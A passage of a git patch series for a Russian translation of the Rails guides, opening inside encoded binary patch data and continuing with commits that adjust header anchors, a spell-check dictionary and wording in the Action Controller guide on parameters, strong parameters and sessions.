zzpAb-$x^4sx#)T4dC$h@GPasXsMCwg!$@2QgF$`MvSdWK#He4QY?4-cd5W(57!+>bBTSB|d;EMkv7pkxouutckFfE4Wu z?ksJfFH5M1NtY~${83yM9eeK=v7zCg#VvnMnOP*n<%1G%lsg#Udqw!(^XNoQOn0Zw zSN8~A`r-v85Aw-67rtYC?GRU;U3T4L7v>BYm25?~KC@%bHgOGJdR(*XF|b@qg@k0m z_uHZLKd$k!Y+3jzr>gkf_n!t->-X%csjBwyd*2*nZR@*pUUoP#4&(4{An(T}UIP}h zTvDJ_p-^GcXvob9QCdL8pI17W`h0JS z`y1lEqZ_Z?J<)zJInkh=6lHYfEG#Lr)=$h2oyl)&mu3ibS5+jn7R2KjZOjq3(gC|C zmbC0%Z}Km;t7u6TM%PL3yRjoQw>JCi_Yvt%GK;mo7o7@wd%e}jn0XB=rhMFOihsOQ zubruz<}@S>S=rK)$H!l18JGkHzwDpW&J`@2p^*uEeyeVrB;HgjTZsnyKGb z;)dn|3UN(E#bGe=xb+W~(0=cuQLHuZcr)>@*qIcP^F5@c`+ZM^(q?F~flY(V*;$Hr zd);~qho%Fc#Hk4^SO4_&Z;>7%e7X92m=e<#ajD^>{h2F1Ojo|m)Dwk0ve2y^O|L5_ zx?&NE-C<6=bS(pAp21AXQ1S6nuGbERMx7oHny|2?| zh{M(1c&D%rl5(Ca{&qz`$kDkC(FZ`r7jQC{GR2cBI*bBX?ly9mbv`BfB^mnFzOW0eC-J3A1`Y# z>PPCJLy+yd3t$kz|DvaDnZeG^@sf1>2PP1Q3c=3?1C^_hh~z}kmom5di#yg)cCjMp zx26>7PRhDuZBV}leFZ)T*3=={B*kJ@edT5pu|zf$?d*mNia_MoTmNegdk_8H8`4?|AIFfYVf3(OD+8V?Id1Q*Jy(6=pU z67Znr^?I@z@*Cj}5MnAt+I5iBAsQlB&hOomhNY6iztha!_>Zd_i7RdzhRRi;T(7wm zbCl}hJY0CnnE38hZGin!bw6Mpi(O+r2Xe?kVm0p_c+_^UpPh8`$7o z^3}fbVyyYgi?=M$hmK7N#xV@%|2wZ}#o@eKA;8Vn&j-?*X*my$#^~uL3)Y$)S3;T3 zdjEK}iVl6UCCgnr0G(3Db>gDjZak7RvBeAa&Y$%5T6{Fpr>V|?FMX? z;_W{xyH?rs{oAwcOY%s_#+)5@VtMc66%>R}iP;dH;>cH(GoyB&vJWdw-G7w?+!HWM65^{UcUM0#osAl|&Tp68bd~jonzlX0 zVHwR3E&T0|SwH8H*90Qge!9d{E;;TQ zcN;?qGc+G6mDIst1(MH=ObQ7Z+pGcw8sl?@?TCId#%FCvlqu!N%E@)KJz83_H=!Y0 zZJ7W0OE*fYO@ZvR{?vW*m3Uz1k?D}z1UG8SQ$91s<#F`Fj88Ou0^an1%mLA4jN0R! z1}#>rOsxlf7AmQo%ZF*jC%(|ZuLSqi_ETNNx>(u6)1o?ER~g=sP_!zir-&sLELTK> zE%g!=z99COyq{Lgf0R>M%||ym5}Lzxh+t*637GZ%rE`cr;-uP~Qx;79z%To)m&Voc zja0eMh7Bq8qt6q4!|!G|g8fFHNyqqH;_s*iA^aL5^UN1?c2H2LL|>)E)o(&pIHlRX zh~=ma!~|Eq zQ~?df*@;XphZP|1Z{tusq>nev-27vhE$e!Hrbk>qk?MLfU8m!`;>WL1Aw?w-^r9GR z9rx7yqa1PNm7B^scu`+R(dR0*r-OcnZVS4&TSxykS58+7X()*pLrRnd{WZH+k#}QQ zd3zEVp8WCG=fD}8H_o;#w63EtB?;xA)=uyPhLd4F@0SIF`lA+FeljIAIGCx=oh0EF zPUqeCwM0PHgPG;8y!J=g7YubsS1I9(0+DCU&x_~RSl)HdBk=n(xa{+hR0f7A|G`SD zgM_oQGx$IFX1Gg}_CW(}my=N)Q}I9DoA%Qu*FG>PwQrg^j^Z`Cp&>ao6;{cl6N$F0 zxDc&8BSFf#a_j)ebIKFJE(Q{ul8!uDL zQmyGxU?$EmO*%8mqh!AnH9Bo6t4@$YW^+BOvZAfIy15#WMoHh_?)>9{PmHm=BtO1) zRIF4fpe9fMAd)Nl$^?HI%o3_VWC{}&5EA%fS(ehw&DUqkXOC`p?a?-ZuNh1+di8h- zWHeav`}^MuO$i5Cxi#KgP=J5CD0V*xyKlavd-3)U=agE#8*=ql(=CrwVz>MouGXtE z)%k;3hf0}!180W9d6J^wxOx2uBcH~sGHBy<0G07-ysSu_a*sXH1Eu+#36I}rR5y8k zpAP##+1mJVOv&b6>#{!QU^}Yt*=A+$y)GuNpTPf$$@g7;s<7V7pFbvjO{2}z(7%Og zxDr)#jy-tUrt=YwI=`NAm@%X7*AJ^Qvz~2#Fjxo|<uk*aoN zi(#Mv|K=&Q?g^|%OpnSr$M$tjqqYD|im}L;Y z(e!UQ0P$}yky2(B90Gj#;QH|;@Ky*WGg(*vB%EYm4awbwWT0j7SXx74UJfe6#kE69 z%IssN!n&a6#U>_-e!K*q>%nxIf|uN$=8!h?!qK&`0NJQ*_Ls8{NuBQ1;W*iGDmt;) zkG>*sFhR5_OK>XG)Za7YX!w+2g2alZ_8Yquu{~Ys`>ao4O)-PAEz%a3#*IiVv^!j_ z6n%U;H=3ZRsSEkHcQuES2sM8=INV44-XeYk>nx+w5k`=5t_@P2+YF6POkZ7Hb(nDy zL0wRe&wU)*Wep?=tA&H!+_(?Ur;je>v!aSgDYc3&q;H8;ok2vry}e!MwppkKcKSck zNW43Hq3Uu)jV7`xW?DOP2I;Yon9mOny}T_f_8vw?MqabOWsCsH^!iZlcpcdtn2cxZKaeEck5aLkqG?c<{>L_XCpIywqofiMki_BI1~QsK3=wQGusin@SYGd4ap zX0&LtY378~DTs3tPPY466WO)pxYP`^sLnb%I;MDedBI$qoDBg$j!6J~!o-srB{j7g zol-WTy2h==rw@-9fdo(!xE)H@17tCS?pD9tT^t=R^jCgfYZN_BudHJ>HCue7G zRyH=rmi=3fnJcF}`oG24JO51E7n+oYvHXO5uPLD1$2l~~Gh#o8lPOZ1`Eheh!ejfR zx~4`r;OK9KpppnIHFbl>@j}frlUD7G6m_Cj8k?cN-H#tX+NRxpA&vnXiaa%q+h!mr z=TsEPb)keBuUaTX#y~(oxO4UJc<-pGsbTsM^&kwSWkP69)Bb$UGNf!VcV{x?7w%c! zm1$jxRi@vKlA^W){`R9{7LQ*c7@T)ZiG>aMmIV-mz}IVPYHR(0D(|uA`Tjf)?Dy=h z!fL#+wAA*QJpSCU+xvFCN()3T3KS4FJ3BiqE-cX&Eqeg-_qMRS-2Q8`^10?(KS+MQGI2&L{n0s5s>D`;Su89Ql<; zF>Y>dU@PFNaslOHn(U{yBCCIBM#5BU_Qc<4yuycoVWv!%w?k8i_5CJG~zL2^jf@z7Yfq8#|R5Gq4lt^J{$>l$+z>@Z=i> zolveb{g)vmF0{>2nE9~CNat3fUZ1BH)LtC;@{nNlqFjfmFnS<17*>Y5B2pEW9hMT= zNa0%meDCp73&LjdwE-73^_VoF7>OznpxFy6ycXjc-w!RUD1PJt{`L)Un^2{?5mdCO zN_Wt06TNnud%qbA=Vj)}Lx99N%i@Ngw@V)(>9DBiV#)z`+bYhPY+rA2tj@ne>|m!s z6q1tGONE9T{%hMpa$`KjB50S=%24XZD|x2JqJ0q4xvkh{b4*sl=HW49aXH73d{ zO!-4})egQhf#mBNv5rKo1Pt=s>+?klF-Fhn8}EVJ(?7C^I5Zm;quBY0q@*v@9#J?$>!%|}8v3{W`1u}q zXMdx(&+N#{21Mzp=9;@0`T_T@5!ozwewz_29^h%TP8l5|TAvr~%1%Wd*tjY7`K~hM zo>f&`29_KhLr;|)uQ4Q~l_jouxtN^s3JF6_Kwz4tVT1`LiWlldbtA3Q&_7(Al1kxl z%EP&e7#kas4|6DUSMXL1-G-Kr-79)K{B!Va1McDrl*7@p{>)tWY>!gd?S2SUPuU_9 z+$IT>y@kpoHI$)L<-LR_bRcH0(`$1Z)-6n%wd@MQrXKz1%yV zc;t__D0}yvE?5wie%RxA(+J)DQ)Rf{U|sOMlvFwuIAaN^I3j!a=EgYL`zO&+8Rh&O zmAB|>hOmx*mMb$yea~-YL=FOD%vnj?EB?Aavr#$)SJT1Tw*Aa}SQOb#;wV*{V!r%8 zaWo<$4=$7F_J|;J0N?^z7Kt8o7r~8bXsC6m;QcO&fCYU~km3&0JNI-~Oa(^B$3HAb zla+SpJ=ubzLf#~UqJWNse$dLj1y&i$&royt=QP*!yy<>_?q--}>5+uuSLF$D!2U!|3#Y9)+<{}%<8F1r8# From f3e224614ce1c67d17d894c997b5e64222ed2528 Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Sun, 2 Jul 2017 21:41:30 +0300 Subject: [PATCH 319/932] images rev --- source/index.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/source/index.yml b/source/index.yml index 110b9b25..38217136 100644 --- a/source/index.yml +++ b/source/index.yml @@ -8,8 +8,8 @@ special: file: menu.md images: - revision: 53b43df3a40e77ceb64c1e3ee8e7190e1ac6d70e - date: 25/04/2017 + revision: 6642b112cd7cbff690a003db9e4fb0704e659b6d + date: 02/07/2017 pages: - title: Rails для начинающих From 25f816c07003dd0acfce177edd13089b66c4a803 Mon Sep 17 00:00:00 2001 From: ydakuka Date: Mon, 3 Jul 2017 02:25:15 +0300 Subject: [PATCH 320/932] fix headers --- app/views/pages/_menu.html.haml | 2 +- lib/renderers/markdown.rb | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/app/views/pages/_menu.html.haml b/app/views/pages/_menu.html.haml index 86ce7be6..f00607b8 100644 --- a/app/views/pages/_menu.html.haml +++ b/app/views/pages/_menu.html.haml @@ -3,4 +3,4 @@ - unless header[0].empty? %li = content_tag "h#{header[0].length + 3}" do - = link_to "#{header[0].join '.'}. #{header[2]}".html_safe, "##{header[1]}" + = link_to "#{header[0].join '.'}. #{header[2]}".html_safe, "##{header[1]}-n#{header[0].join ''}" diff --git a/lib/renderers/markdown.rb b/lib/renderers/markdown.rb index c3c56bdc..63a5ef22 100644 --- a/lib/renderers/markdown.rb +++ b/lib/renderers/markdown.rb @@ -48,7 +48,7 @@ def header(text, header_level) @numeration[header_level] ||= 0 @numeration[header_level] += 1 @numeration = @numeration[0..header_level] - num_link = %(
    #{@numeration.compact.join('.')}.) + num_link = %(#{@numeration.compact.join('.')}.) else @numeration = [] num_link = '' @@ -56,7 +56,7 @@ def header(text, header_level) @headers << [@numeration.compact, hid, text] - %(#{num_link} #{text}) + %(#{num_link} #{text}) end def paragraph(text) From f5d3072684b7830e296ba54c3da3840001b4a77a Mon Sep 17 00:00:00 2001 From: Mikhail Dieterle Date: Mon, 3 Jul 2017 12:13:45 +0300 Subject: [PATCH 321/932] Revert "fix headers" --- app/views/pages/_menu.html.haml | 2 +- lib/renderers/markdown.rb | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/app/views/pages/_menu.html.haml b/app/views/pages/_menu.html.haml index f00607b8..86ce7be6 100644 --- a/app/views/pages/_menu.html.haml +++ b/app/views/pages/_menu.html.haml @@ -3,4 +3,4 @@ - unless header[0].empty? %li = content_tag "h#{header[0].length + 3}" do - = link_to "#{header[0].join '.'}. #{header[2]}".html_safe, "##{header[1]}-n#{header[0].join ''}" + = link_to "#{header[0].join '.'}. #{header[2]}".html_safe, "##{header[1]}" diff --git a/lib/renderers/markdown.rb b/lib/renderers/markdown.rb index 63a5ef22..c3c56bdc 100644 --- a/lib/renderers/markdown.rb +++ b/lib/renderers/markdown.rb @@ -48,7 +48,7 @@ def header(text, header_level) @numeration[header_level] ||= 0 @numeration[header_level] += 1 @numeration = @numeration[0..header_level] - num_link = %(#{@numeration.compact.join('.')}.) + num_link = %(#{@numeration.compact.join('.')}.) else @numeration = [] num_link = '' @@ -56,7 +56,7 @@ def header(text, header_level) @headers << [@numeration.compact, hid, text] - %(#{num_link} #{text}) + %(#{num_link} #{text}) end def paragraph(text) From 044b53d28af5921f524507e1e8e9d0d5dd965563 Mon Sep 17 00:00:00 2001 From: ydakuka Date: Fri, 23 Jun 2017 16:25:24 +0300 Subject: [PATCH 322/932] rewrite-fh --- .yaspellerrc | 1 - source/4_1_release_notes.md | 2 +- source/action_controller_overview.md | 102 ++++++++------- source/action_view_overview.md | 2 +- source/active_record_basics.md | 10 +- source/active_record_migrations.md | 2 +- source/active_support_core_extensions.md | 2 +- source/form_helpers.md | 154 +++++++++++------------ source/getting_started.md | 4 +- 9 files changed, 147 insertions(+), 132 deletions(-) diff --git a/.yaspellerrc b/.yaspellerrc index 7257c73d..7b4d84b8 100644 --- a/.yaspellerrc +++ b/.yaspellerrc @@ -205,7 +205,6 @@ "спуфинг(а|ом|е|)", "стаб(а|е|у|ы|ах|ов|ом|ами|)", "стэк(а|е|у|ы|ах|ов|ом|ами|)", - "субкласс(а|е|у|ы|ах|ов|ом|ами|)", "суффикс(ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными)", "таск(а|е|у|ы|ах|ов|ом|ами|)", "тикет(а|е|у|ы|ах|ов|ом|ами|)", diff --git a/source/4_1_release_notes.md b/source/4_1_release_notes.md index f142f8da..9343a9de 100644 --- a/source/4_1_release_notes.md +++ b/source/4_1_release_notes.md @@ -452,7 +452,7 @@ Active Record ([Pull Request](https://github.com/rails/rails/pull/12137)) * Метод `inspect` вызываемый на моделях Active Record не инициализирует нового - подключения. Это означает что вызов `inspect` больше не вызывает исключения, когда база данных + подключения. Это означает, что вызов `inspect` больше не вызывает исключения, когда база данных отсутствует. ([Pull Request](https://github.com/rails/rails/pull/11014)) * Удалено ограничение столбцов для `count`, позволив базе данных вызвать исключение, если SQL diff --git a/source/action_controller_overview.md b/source/action_controller_overview.md index 2dd0fdcc..813fb8b4 100644 --- a/source/action_controller_overview.md +++ b/source/action_controller_overview.md @@ -19,9 +19,9 @@ Action Controller это C в аббревиатуре MVC. После того, как роутер определит, какой контроллер использовать для обработки запроса, контроллер ответственен за осмысление запроса и генерацию подходящего ответа. К счастью, Action Controller делает за вас большую часть грязной работы и использует элегантные соглашения, чтобы сделать это по возможности максимально просто. -Для большинства приложений, основанных на [RESTful](http://ru.wikipedia.org/wiki/REST), контроллер получает запрос (это невидимо для вас, как для разработчика), извлекает или сохраняет данные в модели и использует вьюху для создания результирующего HTML. Если контроллеру необходимо работать немного по другому, не проблема, это всего лишь обычный способ работы контроллера. +Для большинства приложений, основанных на [RESTful](http://ru.wikipedia.org/wiki/REST), контроллер получает запрос (это невидимо для вас, как для разработчика), извлекает или сохраняет данные в модели и использует вьюху для создания результирующего HTML. Если контроллеру необходимо работать немного по другому, не проблема, это всего лишь наиболее распространенный способ работы контроллера. -Таким образом, можно представить себе контроллер как посредника между моделями и вьюхами. Он делает данные модели доступными вьюхе, так что она может отображать эти данные пользователю, и он сохраняет или обновляет данные от пользователя в модель. +Таким образом, контроллер можно рассматривать как посредника между моделями и вьюхами. Он делает данные модели доступными вьюхе, так что она может отображать эти данные пользователю, и он сохраняет или обновляет данные от пользователя в модель. NOTE: Более детально о процессе маршрутизации смотрите [Роутинг в Rails](/rails-routing). @@ -32,13 +32,12 @@ NOTE: Более детально о процессе маршрутизации Следование этому соглашению позволяет вам использовать генераторы маршрутов по умолчанию (например, `resources` и т.п.) без необходимости определять каждый `:path` или `:controller`, и сохраняет последовательным использование хелперов URL и путей во всем вашем приложении. Подробнее смотрите в [Руководстве по макетам и рендерингу](/layouts-and-rendering-in-rails). -NOTE: Соглашение по именованию контроллеров отличается от соглашения по именованию моделей, которое ожидается в единственном числе. - +NOTE: Соглашение по именованию контроллеров отличается от соглашения по именованию моделей, которые, как ожидается, будут именоваться в единственном числе. Методы и экшны -------------- -Контроллер - это класс Ruby, унаследованный от `ApplicationController` и имеющий методы, как и любой другой класс. Когда ваше приложение получает запрос, роутинг определит, какой контроллер и экшн запустить, затем Rails создаст экземпляр этого контроллера и запустит метод с именем, как у экшна. +Контроллер - это класс Ruby, унаследованный от `ApplicationController` и содержащий методы, как и любой другой класс. Когда ваше приложение получает запрос, роутинг определяет, какой контроллер и экшн нужно запустить, затем Rails создает экземпляр этого контроллера и запускает метод с именем, как у экшна. ```ruby class ClientsController < ApplicationController @@ -47,7 +46,7 @@ class ClientsController < ApplicationController end ``` -В качестве примера, если пользователь перейдет в `/clients/new` в вашем приложении, чтобы добавить нового пользователя, Rails создаст экземпляр `ClientsController` и вызовет метод `new`. Отметьте, что пустой метод из вышеописанного примера будет прекрасно работать, так как Rails по умолчанию отрендерит вьюху `new.html.erb`, если экшн не сообщит иное. Метод `new` может сделать доступной для вьюхи переменную экземпляра `@client` для создания нового `Client`: +В качестве примера, если пользователь перейдет в `/clients/new` в вашем приложении, чтобы добавить нового клиента, Rails создаст экземпляр `ClientsController` и вызовет метод `new`. Отметьте, что пустой метод из вышеприведенного примера будет прекрасно работать, так как Rails по умолчанию отрендерит вьюху `new.html.erb`, если в экшне не будет указано иное действие. Метод `new` может сделать доступной для вьюхи переменную экземпляра `@client` для создания нового `Client`: ```ruby def new @@ -64,14 +63,14 @@ end Параметры --------- -Возможно, вы хотите получить доступ к данным, посланным пользователем, или к другим параметрам в экшнах вашего контроллера. Имеются два типа параметров, возможных в веб приложениях. Первый - это параметры, посланные как часть URL, называемые параметрами строки запроса. Строка запроса всегда следует после "?" в URL. Второй тип параметров обычно упоминаются как данные POST. Эта информация обычно приходит из формы HTML, заполняемой пользователем. Они называются данными POST, так как могут быть посланы только как часть HTTP запроса POST. Rails не делает каких-либо различий между строковыми параметрами и параметрами POST, и они оба доступны в хэше `params` в вашем контроллере: +Возможно, вы хотите получить доступ к данным, посланным пользователем, или к другим параметрам в экшнах вашего контроллера. Существует два типа параметров, доступных в веб-приложениях. Первый - это параметры, посланные как часть URL, называемые параметрами строки запроса. Строка запроса всегда следует после "?" в URL. Второй тип параметров обычно упоминается как данные POST. Эта информация обычно приходит из формы HTML, заполняемой пользователем. Эти параметры еще называют данными POST, так как могут быть посланы только как часть HTTP-запроса метода POST. Rails не делает каких-либо различий между строковыми параметрами и параметрами POST, и они оба доступны в хэше `params` в вашем контроллере: ```ruby class ClientsController < ApplicationController - # Этот экшн использует параметры строки запроса, потому, что он - # запускается HTTP запросом GET, но это не делает каких-либо - # различий в способе, с помощью которого можно получить доступ к - # ним. URL для этого экшна выглядит как этот, запрашивающий список + # Этот экшн использует параметры строки запроса, потому что он + # запускается HTTP-запросом метода GET, но это не влияет на + # способ, с помощью которого можно получить доступ к ним. + # URL для этого экшна выглядит как этот, запрашивающий список # активированных клиентов: /clients?status=activated def index if params[:status] == "activated" @@ -83,15 +82,15 @@ class ClientsController < ApplicationController # Этот экшн использует параметры POST. Они, скорее всего, пришли от # формы HTML, которую подтвердил пользователь. URL для этого - # RESTful запроса будет /clients, и данные будут посланы + # RESTful запроса будет "/clients", и данные будут посланы # как часть тела запроса. def create @client = Client.new(params[:client]) if @client.save redirect_to @client else - # Эта строчка переопределяет поведение рендеринга по умолчанию, который - # отрендерил бы вьюху "create". + # Эта строчка переопределяет поведение рендеринга по умолчанию, + # который отрендерил бы вьюху "create". render "new" end end @@ -110,7 +109,7 @@ NOTE: Фактический URL в этом примере будет пере Значение `params[:ids]` теперь будет `["1", "2", "3"]`. Отметьте, что значения параметра всегда строковое; Rails не делает попыток угадать или предсказать тип. -NOTE: Значения, такие как `[nil]` или `[nil, nil, ...]` в `params` по умолчанию заменяются на `nil` по причине безопасности. Подробнее смотрите в [Руководстве по безопасности](/ruby-on-rails-security-guide#unsafe-query-generation). +NOTE: Значения, такие как `[nil]` или `[nil, nil, ...]` в `params` по умолчанию заменяются на `[]` по причине безопасности. Подробнее смотрите в [Руководстве по безопасности](/ruby-on-rails-security-guide#unsafe-query-generation). Чтобы послать хэш, следует заключить имя ключа в скобки: @@ -177,27 +176,27 @@ class ApplicationController < ActionController::Base end ``` -Эти опции будут использованы как начальная точка при генерации URL, поэтому, они могут быть переопределены опциями, переданными в `url_for`. +Эти опции будут использованы как начальная точка при генерации URL, поэтому они могут быть переопределены опциями, переданными в `url_for`. -Если определить `default_url_options` в `ApplicationController`, как это показано в примере, эти дефолтные настройки будут использованы для создания всех URL. Метод также может быть определен в одном отдельном контроллере, в этом случае он влияет только на URL, создаваемые в нем. +Если определить `default_url_options` в `ApplicationController`, как это показано в вышеприведенном примере, эти значения по умолчанию будут использованы для генерации всех URL. Этот метод также может быть определен в одном отдельном контроллере, и в этом случае он влияет только на URL, создаваемые в нем. -В данном запросе, на самом деле метод не будет вызываться для каждого сгенерированного URL; для повышения производительности, возвращаемый хэш кэшируется, метод выполняется не более одного раза за запрос. +В данном запросе, на самом деле, метод не вызывается для каждого сгенерированного URL; для повышения производительности, возвращаемый хэш кэшируется, метод выполняется не более одного раза за запрос. ### Strong Parameters -С помощью strong parameters параметры Action Controller запрещены к использованию в массовом назначении Active Model, кроме случая, когда они есть в белом листе. Это означает, что вы должны сделать сознательное решение, какие атрибуты будут доступны для массового обновления. Это лучший способ предотвратить случайную уязвимость, позволяющую пользователям обновлять конфиденциальные атрибуты модели. +С помощью сильных параметров (strong parameters) параметры Action Controller запрещены к использованию в массовых назначениях Active Model до тех пор, пока они не добавлены в белый список. Это означает, что нужно будет принять осознанное решение о том, какие атрибуты будут доступны для массового обновления. Это лучший способ предотвратить случайную уязвимость, позволяющую пользователям обновлять конфиденциальные атрибуты модели. -Кроме того, параметры могут быть помечены как обязательные, что пройдет через предопределенные raise/rescue и приведет к 400 Bad Request если переданы не все обязательные параметры. +Кроме того, параметры могут быть помечены как обязательные и будут проходить через предопределенные raise/rescue, что приведет к 400 Bad Request, если не будут переданы все обязательные параметры. ```ruby class PeopleController < ActionController::Base - # Это вызовет исключение ActiveModel::ForbiddenAttributesError + # Это вызовет исключение ActiveModel::ForbiddenAttributesError, # так как используется массовое назначение без явного шага permit. def create Person.create(params[:person]) end - # Это будет проходить, пока в параметрах есть ключ person, иначе будет + # Это будет передано должным образом, пока в параметрах есть ключ person, иначе будет # вызвано исключение ActionController::ParameterMissing, которое будет # поймано в ActionController::Base и превращено в ошибку 400 Bad Request. def update @@ -209,16 +208,16 @@ class PeopleController < ActionController::Base private # Использование приватного метода для инкапсуляции разрешенных параметров - # это всего лишь хороший паттерн, с помощью которого можно повторно - # использовать тот же самый список разрешений при создании и обновлении + # использовать тот же самый список разрешений при создании и обновлении. # Этот метод также можно адаптировать к проверке разрешенных атрибутов для - # определенных пользователей. + # каждого пользователя. def person_params params.require(:person).permit(:name, :age) end end ``` -#### Разрешенные скалярные величины +#### Разрешенные скалярные значения Для данного @@ -226,11 +225,11 @@ end params.permit(:id) ``` -ключ `:id` пройдет проверку белым списком, если он появится в `params` и будет иметь разрешенную скалярную величину. В ином случае ключ будет отфильтрован, таким образом, массивы, хэши и любые другие объекты не смогут быть переданы. +ключ `:id` пройдет проверку белым списком, если он появится в `params` и будет иметь разрешенное скалярное значение. В ином случае ключ будет отфильтрован, таким образом, массивы, хэши и любые другие объекты не смогут быть переданы. Разрешенные скалярные типы следующие `String`, `Symbol`, `NilClass`, `Numeric`, `TrueClass`, `FalseClass`, `Date`, `Time`, `DateTime`, `StringIO`, `IO`, `ActionDispatch::Http::UploadedFile` и `Rack::Test::UploadedFile`. -Чтобы объявить, что значение в `params` должно быть массивом разрешенных скалярных величин, свяжите ключ с пустым массивом: +Чтобы объявить, что значение в `params` должно быть массивом разрешенных скалярных значений, свяжите ключ с пустым массивом: ```ruby params.permit(id: []) @@ -242,7 +241,7 @@ params.permit(id: []) params.permit(preferences: {}) ``` -но будьте осторожны, так это открывает возможность произвольного ввода. В этом случае `permit` убеждается, что значения в возвращаемой структуре являются разрешенными скалярными значениями, и отфильтровывает все иное. +но будьте осторожны, так это открывает возможность произвольного ввода. В этом случае `permit` гарантирует, что значения в возвращаемой структуре являются разрешенными скалярными величинами и отфильтровывает все иное. Чтобы добавить в белый список полный хэш параметров, может быть использован метод `permit!` @@ -250,7 +249,7 @@ params.permit(preferences: {}) params.require(:log_entry).permit! ``` -Это помечает хэш параметров `:log_entry` и любые вложенные хэши как разрешенные, и не проверяет на разрешенные скалярные значения, принимается все. Следует соблюдать предельную осторожность при использовании `permit!`, так как он позволит массовое назначение всех текущих и будущих атрибутов модели. +Это помечает хэш параметров `:log_entry` и любые вложенные хэши как разрешенные, и не проверяет разрешенные скалярные величины, принимается все. Следует соблюдать предельную осторожность при использовании `permit!`, так как он позволит массовое назначение всех текущих и будущих атрибутов модели. #### Вложенные параметры @@ -262,7 +261,7 @@ params.permit(:name, { emails: [] }, { family: [ :name ], hobbies: [] }]) ``` -Это объявление поместит в белый список атрибуты `name`, `emails` и `friends`. Ожидается, что `emails` будет массивом разрешенных скалярных величин, и что `friends` будет массивом ресурсов с определенными атрибутами: у них будет атрибут `name` (допустимо любое скалярное значение), атрибут `hobbies` как массив разрешенных скалярных величин, и атрибут `family`, который может иметь только `name` (также допустимо любое скалярное значение). +Это объявление поместит в белый список атрибуты `name`, `emails` и `friends`. Ожидается, что `emails` будет массивом разрешенных скалярных значений, и что `friends` будет массивом ресурсов с определенными атрибутами: у них будет атрибут `name` (допустимо любое скалярное значение), атрибут `hobbies` как массив разрешенных скалярных значений, и атрибут `family`, который может иметь только `name` (также допустимо любое скалярное значение). #### Дополнительные примеры @@ -274,17 +273,17 @@ params.permit(:name, { emails: [] }, params.fetch(:blog, {}).permit(:title, :author) ``` -Метод класса модели `accepts_nested_attributes_for` позволяет обновлять и удалять связанные записи. Это основывается на параметрах `id` и `_destroy`: +Метод класса модели `accepts_nested_attributes_for` позволяет обновлять и удалять связанные записи. Он основывается на параметрах `id` и `_destroy`: ```ruby -# permit :id and :_destroy +# permit :id и :_destroy params.require(:author).permit(:name, books_attributes: [:title, :id, :_destroy]) ``` -Хэши с числовыми ключами трактуются по другому, можно объявить атрибуты так, как будто они являются прямыми детьми. Такой тип параметров вы получите при использовании `accepts_nested_attributes_for` с комбинацией со связью `has_many`: +Хэши с числовыми ключами трактуются по-другому, и можно объявить атрибуты так, как будто они являются прямыми детьми. Вы получаете такой тип параметров при использовании `accepts_nested_attributes_for` в сочетании со связью `has_many`: ```ruby -# Чтобы пропустить следующие данные: +# Чтобы добавить в белый список следующие данные: # {"book" => {"title" => "Some Book", # "chapters_attributes" => { "1" => {"title" => "First Chapter"}, # "2" => {"title" => "Second Chapter"}}}} @@ -292,11 +291,11 @@ params.require(:author).permit(:name, books_attributes: [:title, :id, :_destroy] params.require(:book).permit(:title, chapters_attributes: [:title]) ``` -#### За пределами Strong Parameters +#### За пределами области видимости Strong Parameters Strong parameter API был разработан для наиболее общих вариантов использования. Это не панацея от всех ваших проблем белого списка. Однако можно легко смешивать API с вашим собственным кодом для адаптации к вашей ситуации. -Представим сценарий, когда у вас есть параметры, представляющие имя продукта и хэш произвольных данных, связанных с этим продуктом, и вы хотите поместить в белый список атрибут имени продукта, а также весь хэш данных. API в strong parameters не позволит вам напрямую разрешить весь вложенный хэш с любыми ключами, но можно использовать ключи вложенного хэша для указания, что добавить в белый список: +Рассмотрим ситуацию, когда есть параметры, представляющие имя продукта, и хэш произвольных данных, связанных с этим продуктом, и нужно поместить в белый список атрибут name продукта, а также весь хэш данных. API в strong parameters не позволит явно добавить в белый список весь вложенный хэш с любыми ключами, но можно использовать ключи вложенного хэша для объявления, что следует добавить в белый список: ```ruby def product_params @@ -307,25 +306,44 @@ end Сессия ------ -У вашего приложения есть сессия для каждого пользователя в которой можно хранить небольшие порции данных, которые будут сохранены между запросами. Сессия доступна только в контроллере и во вьюхе, и может использовать один из нескольких механизмов хранения: +В вашем приложении есть сессия для каждого пользователя, в которой можно хранить небольшие объемы данных, которые будут сохраняться между запросами. Сессия доступна только в контроллере и во вьюхе, и может использовать один из нескольких механизмов хранения: * `ActionDispatch::Session::CookieStore` - Хранит все на клиенте. * `ActionDispatch::Session::CacheStore` - Хранит данные в кэше Rails. * `ActionDispatch::Session::ActiveRecordStore` - Хранит данные в базе данных с использованием Active Record. (требует гем `activerecord-session_store`). -* `ActionDispatch::Session::MemCacheStore` - Хранит данные в кластере memcached (эта реализация - наследие старых версий, вместо нее рассмотрите использование CacheStore). +* `ActionDispatch::Session::MemCacheStore` - Хранит данные в кластере memcached (эта устаревшая реализация, вместо нее рассмотрите использование CacheStore). -Все сессии используют куки для хранения уникального ID каждой сессии (вы обязаны использовать куки, Rails не позволяет передавать ID сессии в URL, так как это не безопасно). +Все хранилища сессии используют куки для хранения уникального ID каждой сессии (вы должны использовать куки, Rails не позволяет передавать ID сессии в URL, так как это менее безопасно). -Для большинства способов хранения этот ID используется для поиска данных сессии на сервере, в т.ч. в таблице базы данных. Имеется одно исключение, это дефолтное и рекомендуемое хранение сессии - CookieStore - которое хранит все данные сессии в куки (ID остается доступным, если он вам нужен). Преимущества этого в легкости, отсутствии настройки для нового приложения в порядке использования сессий. Данные в куки криптографически подписаны, что делает их защищенными от взлома. И они также зашифрованы, таким образом любой получивший к ним доступ, не сможет прочитать их содержимое (Rails не примет их, если они были отредактированы). +В большинстве хранилищ этот ID используется для поиска данных сессии на сервере, в т.ч. в таблице базы данных. Имеется одно исключение, это дефолтное и рекомендуемое хранилище сессии - CookieStore - которое хранит все данные сессии в куки (ID остается по-прежнему доступным, если он нужен). Преимущества его заключаются в легкости, отсутствии необходимости настройки для нового приложения в порядке использования сессии. Данные в куки криптографически подписаны, что делает их защищенными от взлома. И они также зашифрованы, таким образом любой получивший к ним доступ, не сможет прочитать их содержимое (Rails не примет их, если они были отредактированы). -CookieStore могут хранить около 4kB данных - намного меньше, чем остальные - но этого обычно хватает. Хранение большего количества данных в сессии не рекомендуется, вне зависимости от того, как хранятся они в приложении. Следует специально избегать хранения в сессии сложных объектов (ничего, кроме простых объектов 